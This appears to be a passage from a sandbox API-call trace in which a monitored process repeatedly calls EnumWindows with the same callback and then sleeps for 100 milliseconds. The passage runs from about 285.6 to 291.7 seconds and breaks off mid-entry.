[0285.640] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.641] Sleep (dwMilliseconds=0x64) [0285.655] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.656] Sleep (dwMilliseconds=0x64) [0285.741] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.742] Sleep (dwMilliseconds=0x64) [0285.767] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.768] Sleep (dwMilliseconds=0x64) [0285.769] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.769] Sleep (dwMilliseconds=0x64) [0285.778] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.779] Sleep (dwMilliseconds=0x64) [0285.781] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.781] Sleep (dwMilliseconds=0x64) [0285.783] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.783] Sleep (dwMilliseconds=0x64) [0285.785] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.785] Sleep (dwMilliseconds=0x64) [0285.797] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.798] Sleep (dwMilliseconds=0x64) [0285.811] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.811] Sleep (dwMilliseconds=0x64) [0285.946] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.946] Sleep (dwMilliseconds=0x64) [0285.965] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.966] Sleep (dwMilliseconds=0x64) [0286.001] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0286.002] Sleep (dwMilliseconds=0x64) [0286.021] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0286.021] Sleep (dwMilliseconds=0x64) [0286.026] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0286.027] Sleep (dwMilliseconds=0x64) [0286.028] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0286.029] Sleep (dwMilliseconds=0x64) [0286.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0286.031] Sleep (dwMilliseconds=0x64) [0286.241] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0286.241] Sleep (dwMilliseconds=0x64) [0286.243] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0286.243] Sleep (dwMilliseconds=0x64) [0286.269] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0286.269] Sleep (dwMilliseconds=0x64) [0286.290] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0286.290] Sleep (dwMilliseconds=0x64) [0286.384] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0286.387] Sleep (dwMilliseconds=0x64) [0286.522] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0286.523] Sleep (dwMilliseconds=0x64) [0286.547] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0286.548] Sleep (dwMilliseconds=0x64) [0286.633] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0286.633] Sleep (dwMilliseconds=0x64) [0286.739] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0286.740] Sleep (dwMilliseconds=0x64) [0286.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0286.772] Sleep (dwMilliseconds=0x64) [0286.894] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0286.895] Sleep (dwMilliseconds=0x64) [0286.918] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0286.918] Sleep (dwMilliseconds=0x64) [0286.919] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0286.920] Sleep (dwMilliseconds=0x64) [0286.921] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0286.922] Sleep (dwMilliseconds=0x64) [0286.923] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0286.923] Sleep (dwMilliseconds=0x64) [0286.969] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0286.970] Sleep (dwMilliseconds=0x64) [0287.095] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.095] Sleep (dwMilliseconds=0x64) [0287.099] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.100] Sleep (dwMilliseconds=0x64) [0287.101] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.102] Sleep (dwMilliseconds=0x64) [0287.103] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.104] Sleep (dwMilliseconds=0x64) [0287.105] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.106] Sleep (dwMilliseconds=0x64) [0287.107] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.107] Sleep (dwMilliseconds=0x64) [0287.109] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.109] Sleep (dwMilliseconds=0x64) [0287.110] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.110] Sleep (dwMilliseconds=0x64) [0287.112] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.112] Sleep (dwMilliseconds=0x64) [0287.129] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.130] Sleep (dwMilliseconds=0x64) [0287.178] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.179] Sleep (dwMilliseconds=0x64) [0287.239] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.240] Sleep (dwMilliseconds=0x64) [0287.241] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.242] Sleep (dwMilliseconds=0x64) [0287.243] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.244] Sleep (dwMilliseconds=0x64) [0287.260] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.261] Sleep (dwMilliseconds=0x64) [0287.264] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.264] Sleep (dwMilliseconds=0x64) [0287.266] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.266] Sleep (dwMilliseconds=0x64) [0287.296] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.296] Sleep (dwMilliseconds=0x64) [0287.411] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.412] Sleep (dwMilliseconds=0x64) [0287.491] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.492] Sleep (dwMilliseconds=0x64) [0287.493] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.494] Sleep (dwMilliseconds=0x64) [0287.496] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.496] Sleep (dwMilliseconds=0x64) [0287.498] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.498] Sleep (dwMilliseconds=0x64) [0287.500] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.500] Sleep (dwMilliseconds=0x64) [0287.501] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.502] Sleep (dwMilliseconds=0x64) [0287.505] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.505] Sleep (dwMilliseconds=0x64) [0287.506] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.506] Sleep (dwMilliseconds=0x64) [0287.508] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.508] Sleep (dwMilliseconds=0x64) [0287.510] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.510] Sleep (dwMilliseconds=0x64) [0287.512] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.512] Sleep (dwMilliseconds=0x64) [0287.513] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.513] Sleep (dwMilliseconds=0x64) [0287.515] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.515] Sleep (dwMilliseconds=0x64) [0287.516] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.516] Sleep (dwMilliseconds=0x64) [0287.518] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.518] Sleep (dwMilliseconds=0x64) [0287.519] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.520] Sleep (dwMilliseconds=0x64) [0287.542] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.542] Sleep (dwMilliseconds=0x64) [0287.624] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.624] Sleep (dwMilliseconds=0x64) [0287.636] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.636] Sleep (dwMilliseconds=0x64) [0287.638] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.638] Sleep (dwMilliseconds=0x64) [0287.648] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.649] Sleep (dwMilliseconds=0x64) [0287.665] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.665] Sleep (dwMilliseconds=0x64) [0287.684] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.685] Sleep (dwMilliseconds=0x64) [0287.776] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.776] Sleep (dwMilliseconds=0x64) [0287.786] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.786] Sleep (dwMilliseconds=0x64) [0287.789] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.789] Sleep (dwMilliseconds=0x64) [0287.791] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.791] Sleep (dwMilliseconds=0x64) [0287.793] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.793] Sleep (dwMilliseconds=0x64) [0287.795] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.795] Sleep (dwMilliseconds=0x64) [0287.796] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.796] Sleep (dwMilliseconds=0x64) [0287.798] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.798] Sleep (dwMilliseconds=0x64) [0287.799] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.799] Sleep (dwMilliseconds=0x64) [0287.801] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.801] Sleep (dwMilliseconds=0x64) [0287.802] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.802] Sleep (dwMilliseconds=0x64) [0287.804] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.804] Sleep (dwMilliseconds=0x64) [0287.805] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.806] Sleep (dwMilliseconds=0x64) [0287.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.808] Sleep (dwMilliseconds=0x64) [0287.817] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.817] Sleep (dwMilliseconds=0x64) [0287.826] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.827] Sleep (dwMilliseconds=0x64) [0287.925] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.925] Sleep (dwMilliseconds=0x64) [0287.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.935] Sleep (dwMilliseconds=0x64) [0287.955] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.956] Sleep (dwMilliseconds=0x64) [0287.965] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.965] Sleep (dwMilliseconds=0x64) [0287.967] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.967] Sleep (dwMilliseconds=0x64) [0287.968] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.968] Sleep (dwMilliseconds=0x64) [0287.970] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.970] Sleep (dwMilliseconds=0x64) [0287.971] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.971] Sleep (dwMilliseconds=0x64) [0287.973] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.973] Sleep (dwMilliseconds=0x64) [0287.974] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.974] Sleep (dwMilliseconds=0x64) [0287.979] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.979] Sleep (dwMilliseconds=0x64) [0287.981] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.981] Sleep (dwMilliseconds=0x64) [0287.982] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.983] Sleep (dwMilliseconds=0x64) [0287.985] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.985] Sleep (dwMilliseconds=0x64) [0287.986] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.986] Sleep (dwMilliseconds=0x64) [0287.988] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.988] Sleep (dwMilliseconds=0x64) [0287.989] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.989] Sleep (dwMilliseconds=0x64) [0287.991] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.991] Sleep (dwMilliseconds=0x64) [0287.992] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.992] Sleep (dwMilliseconds=0x64) [0287.994] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.994] Sleep (dwMilliseconds=0x64) [0287.995] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.995] Sleep (dwMilliseconds=0x64) [0287.997] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.997] Sleep (dwMilliseconds=0x64) [0287.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0287.999] Sleep (dwMilliseconds=0x64) [0288.075] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.076] Sleep (dwMilliseconds=0x64) [0288.109] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.109] Sleep (dwMilliseconds=0x64) [0288.111] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.111] Sleep (dwMilliseconds=0x64) [0288.121] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.121] Sleep (dwMilliseconds=0x64) [0288.123] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.123] Sleep (dwMilliseconds=0x64) [0288.126] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.127] Sleep (dwMilliseconds=0x64) [0288.128] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.128] Sleep (dwMilliseconds=0x64) [0288.130] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.130] Sleep (dwMilliseconds=0x64) [0288.132] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.132] Sleep (dwMilliseconds=0x64) [0288.134] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.135] Sleep (dwMilliseconds=0x64) [0288.136] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.136] Sleep (dwMilliseconds=0x64) [0288.138] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.138] Sleep (dwMilliseconds=0x64) [0288.199] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.199] Sleep (dwMilliseconds=0x64) [0288.247] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.247] Sleep (dwMilliseconds=0x64) [0288.249] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.249] Sleep (dwMilliseconds=0x64) [0288.250] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.250] Sleep (dwMilliseconds=0x64) [0288.252] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.253] Sleep (dwMilliseconds=0x64) [0288.254] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.254] Sleep (dwMilliseconds=0x64) [0288.256] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.256] Sleep (dwMilliseconds=0x64) [0288.258] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.258] Sleep (dwMilliseconds=0x64) [0288.260] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.260] Sleep (dwMilliseconds=0x64) [0288.262] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.262] Sleep (dwMilliseconds=0x64) [0288.263] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.263] Sleep (dwMilliseconds=0x64) [0288.266] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.266] Sleep (dwMilliseconds=0x64) [0288.268] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.268] Sleep (dwMilliseconds=0x64) [0288.270] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.270] Sleep (dwMilliseconds=0x64) [0288.272] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.272] Sleep (dwMilliseconds=0x64) [0288.274] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.275] Sleep (dwMilliseconds=0x64) [0288.276] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.277] Sleep (dwMilliseconds=0x64) [0288.318] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.318] Sleep (dwMilliseconds=0x64) [0288.378] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.378] Sleep (dwMilliseconds=0x64) [0288.388] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.388] Sleep (dwMilliseconds=0x64) [0288.398] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.398] Sleep (dwMilliseconds=0x64) [0288.400] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.400] Sleep (dwMilliseconds=0x64) [0288.402] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.402] Sleep (dwMilliseconds=0x64) [0288.412] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.413] Sleep (dwMilliseconds=0x64) [0288.437] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.437] Sleep (dwMilliseconds=0x64) [0288.576] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.577] Sleep (dwMilliseconds=0x64) [0288.586] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.586] Sleep (dwMilliseconds=0x64) [0288.588] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.589] Sleep (dwMilliseconds=0x64) [0288.590] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.590] Sleep (dwMilliseconds=0x64) [0288.592] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.592] Sleep (dwMilliseconds=0x64) [0288.594] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0288.595] Sleep (dwMilliseconds=0x64) [0289.910] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0289.912] Sleep (dwMilliseconds=0x64) [0289.918] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0289.918] Sleep (dwMilliseconds=0x64) [0289.928] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0289.928] Sleep (dwMilliseconds=0x64) [0290.036] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.036] Sleep (dwMilliseconds=0x64) [0290.038] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.039] Sleep (dwMilliseconds=0x64) [0290.054] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.055] Sleep (dwMilliseconds=0x64) [0290.070] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.070] Sleep (dwMilliseconds=0x64) [0290.102] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.102] Sleep (dwMilliseconds=0x64) [0290.115] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.116] Sleep (dwMilliseconds=0x64) [0290.196] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.197] Sleep (dwMilliseconds=0x64) [0290.198] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.198] Sleep (dwMilliseconds=0x64) [0290.199] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.200] Sleep (dwMilliseconds=0x64) [0290.201] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.201] Sleep (dwMilliseconds=0x64) [0290.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.204] Sleep (dwMilliseconds=0x64) [0290.205] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.205] Sleep (dwMilliseconds=0x64) [0290.206] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.207] Sleep (dwMilliseconds=0x64) [0290.216] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.217] Sleep (dwMilliseconds=0x64) [0290.225] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.226] Sleep (dwMilliseconds=0x64) [0290.256] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.256] Sleep (dwMilliseconds=0x64) [0290.265] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.265] Sleep (dwMilliseconds=0x64) [0290.344] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.345] Sleep (dwMilliseconds=0x64) [0290.354] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.355] Sleep (dwMilliseconds=0x64) [0290.358] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.358] Sleep (dwMilliseconds=0x64) [0290.360] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.361] Sleep (dwMilliseconds=0x64) [0290.362] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.362] Sleep (dwMilliseconds=0x64) [0290.364] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.364] Sleep (dwMilliseconds=0x64) [0290.366] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.366] Sleep (dwMilliseconds=0x64) [0290.367] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.368] Sleep (dwMilliseconds=0x64) [0290.369] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.369] Sleep (dwMilliseconds=0x64) [0290.371] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.371] Sleep (dwMilliseconds=0x64) [0290.373] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.373] Sleep (dwMilliseconds=0x64) [0290.374] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.374] Sleep (dwMilliseconds=0x64) [0290.376] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.376] Sleep (dwMilliseconds=0x64) [0290.380] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.380] Sleep (dwMilliseconds=0x64) [0290.382] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.382] Sleep (dwMilliseconds=0x64) [0290.384] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.384] Sleep (dwMilliseconds=0x64) [0290.387] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.387] Sleep (dwMilliseconds=0x64) [0290.389] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.389] Sleep (dwMilliseconds=0x64) [0290.390] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.390] Sleep (dwMilliseconds=0x64) [0290.392] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.392] Sleep (dwMilliseconds=0x64) [0290.393] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.393] Sleep (dwMilliseconds=0x64) [0290.395] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.395] Sleep (dwMilliseconds=0x64) [0290.398] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.398] Sleep (dwMilliseconds=0x64) [0290.400] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.400] Sleep (dwMilliseconds=0x64) [0290.496] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.496] Sleep (dwMilliseconds=0x64) [0290.498] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.498] Sleep (dwMilliseconds=0x64) [0290.502] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.502] Sleep (dwMilliseconds=0x64) [0290.503] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.504] Sleep (dwMilliseconds=0x64) [0290.505] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.505] Sleep (dwMilliseconds=0x64) [0290.506] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.507] Sleep (dwMilliseconds=0x64) [0290.508] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.508] Sleep (dwMilliseconds=0x64) [0290.509] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.510] Sleep (dwMilliseconds=0x64) [0290.511] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.511] Sleep (dwMilliseconds=0x64) [0290.512] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.513] Sleep (dwMilliseconds=0x64) [0290.514] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.514] Sleep (dwMilliseconds=0x64) [0290.939] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0290.939] Sleep (dwMilliseconds=0x64) [0291.056] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.056] Sleep (dwMilliseconds=0x64) [0291.110] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.111] Sleep (dwMilliseconds=0x64) [0291.113] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.113] Sleep (dwMilliseconds=0x64) [0291.115] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.116] Sleep (dwMilliseconds=0x64) [0291.117] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.117] Sleep (dwMilliseconds=0x64) [0291.133] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.134] Sleep (dwMilliseconds=0x64) [0291.151] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.151] Sleep (dwMilliseconds=0x64) [0291.213] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.213] Sleep (dwMilliseconds=0x64) [0291.228] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.229] Sleep (dwMilliseconds=0x64) [0291.279] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.279] Sleep (dwMilliseconds=0x64) [0291.281] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.281] Sleep (dwMilliseconds=0x64) [0291.285] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.285] Sleep (dwMilliseconds=0x64) [0291.287] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.287] Sleep (dwMilliseconds=0x64) [0291.301] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.301] Sleep (dwMilliseconds=0x64) [0291.315] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.315] Sleep (dwMilliseconds=0x64) [0291.385] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.385] Sleep (dwMilliseconds=0x64) [0291.427] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.427] Sleep (dwMilliseconds=0x64) [0291.429] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.429] Sleep (dwMilliseconds=0x64) [0291.432] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.432] Sleep (dwMilliseconds=0x64) [0291.434] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.435] Sleep (dwMilliseconds=0x64) [0291.436] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.436] Sleep (dwMilliseconds=0x64) [0291.438] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.438] Sleep (dwMilliseconds=0x64) [0291.539] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.540] Sleep (dwMilliseconds=0x64) [0291.616] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.616] Sleep (dwMilliseconds=0x64) [0291.713] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.714] Sleep (dwMilliseconds=0x64) [0291.715] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.716] Sleep (dwMilliseconds=0x64) [0291.717] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.718] Sleep (dwMilliseconds=0x64) [0291.719] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.720] Sleep 